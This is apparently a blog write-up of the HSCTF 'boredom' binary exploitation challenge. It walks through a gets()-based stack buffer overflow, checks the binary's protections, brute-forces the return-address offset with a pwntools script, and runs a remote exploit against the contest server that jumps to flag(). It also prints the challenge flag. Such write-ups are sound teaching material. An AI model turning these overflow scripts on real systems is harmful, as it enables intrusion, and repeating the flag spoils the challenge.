3 minute read

Boredom is the the first ctf of binary exploitation. It provides a source file boredom.c and a binary file boredom.

Analysis

First, I analyse the source code to find some exploitable code. Indeed, the main call the unsafe function gets:

int main() {
	char toDo[200];
	setup();

	printf("Give me something to do: ");
	gets(toDo);
	puts("Ehhhhh, maybe later.");
	return 0;
}

gets saves the input in the char array toDo and it can overwrite the return instruction pointer in the stack if the user writes more than 200 characters. The other function in boredom.c tells us where the flag is located:

void flag() {
	FILE *f = fopen("flag.txt", "r");
	char buf[50];
	if (f == NULL) {
		puts("You're running this locally or I can't access the flag file for some reason.");
		puts("If this occurs on the remote, ping @PMP#5728 on discord server.");
		exit(1);
	}
	fgets(buf, 50, f);
	printf("Hey, that's a neat idea. Here's a flag for your trouble: %s\n", buf);
	puts("Now go away.");
	exit(42);
}

We just need to find the address of function flag and overwrite it in the return instruction pointer in the stack. However, even though this is the main concept behind the buffer overflow exploit, there are a lot of details to make it real.

Architecture characteristics

Before writing any exploit we have to understand in which architecture the boredom binary is running. The readelf -h boredom command answers to all our questions:

ELF Header:
Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:                             ELF64
Data:                              2's complement, little endian
Version:                           1 (current)
OS/ABI:                            UNIX - System V
ABI Version:                       0
Type:                              EXEC (Executable file)
Machine:                           Advanced Micro Devices X86-64

Boom! It is 64bit architecture and little-endian (least significant byte are stored in the smallest address, e.g. higher in the stack).

Now we use our swiss army knife, aka pwntools, to get some other interesting features of this binary:

#!/usr/bin/python3
from pwn import *
e = ELF('./boredom')
print(e)

the output is:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
  • amd-64-little tells what we already know;
  • Full RELRO: the Global Offset Table (GOT) is read-only, that is we can’t change the function addresses.
  • No canary found: the stack doesn’t protect the return pointer if we try to overwrite it. This is the vulnerability we are exploiting.
  • NO PIE: NO Position-Independent Executable, so the code can’t run in any address but in those addresses specified by the binary file. In a PIE file there are offsets instead of addresses.

Exploit

Knowing all these characteristics of the the binary, we remain to guess the offset between the buffer toDo and the return instruction pointer in the stack. So when the program asks for the input we’ll write 200 chars + offset + address of flag().

#!/usr/bin/python3
from pwn import *
e = ELF('./boredom')
flag_addr = p64(e.symbols['flag'])

for i in range(201,220):
	print('i: ' + str(i))
	p = process('./boredom')
	payload = bytes("a"*i,'utf-8') + flag_addr
	p.sendlineafter(': ', payload)
	res = p.recvall(timeout=1)
	if "flag" in res.decode():
		print(res.decode())
		break;

where flag_addr = \xd5\x11\x40\x00\x00\x00\x00\x00 is 8 byte long.

When the binary returns You’re running this locally or I can’t access the flag file for some reason. we have found the right offset.

In my case the offset is 16 bytes:

...
i: 215
[+] Starting local process './boredom': pid 203
[+] Receiving all data: Done (21B)
[*] Process './boredom' stopped with exit code -11 (SIGSEGV) (pid 203)
i: 216
[+] Starting local process './boredom': pid 206
[+] Receiving all data: Done (162B)
[*] Process './boredom' stopped with exit code 1 (pid 206)
Ehhhhh, maybe later.
You're running this locally or I can't access the flag file for some reason.
If this occurs on the remote, ping @PMP#5728 on discord server.

i: 217
[+] Starting local process './boredom': pid 209
[+] Receiving all data: Done (21B)
[*] Process './boredom' stopped with exit code -11 (SIGSEGV) (pid 209)
...

We exploited the buffer overflow locally now it’s time to make it working remotely:

#!/usr/bin/python3
from pwn import *

p = remote('pwn.hsctf.com', 5002)

flag_addr = 0x00000000004011d5
print( bytes('a'*(208),'utf-8')+p64(flag_addr))
p.sendlineafter(': ', bytes('a'*(208),'utf-8')+p64(flag_addr))

p.interactive()

Unfortunately, the offset that we use to pwn the binary online is different from that we used locally. The offset is just 8 bytes instead of 16 bytes.

Eventually, the flag is:

flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132}

Resources

Tags:

Updated:

Leave a comment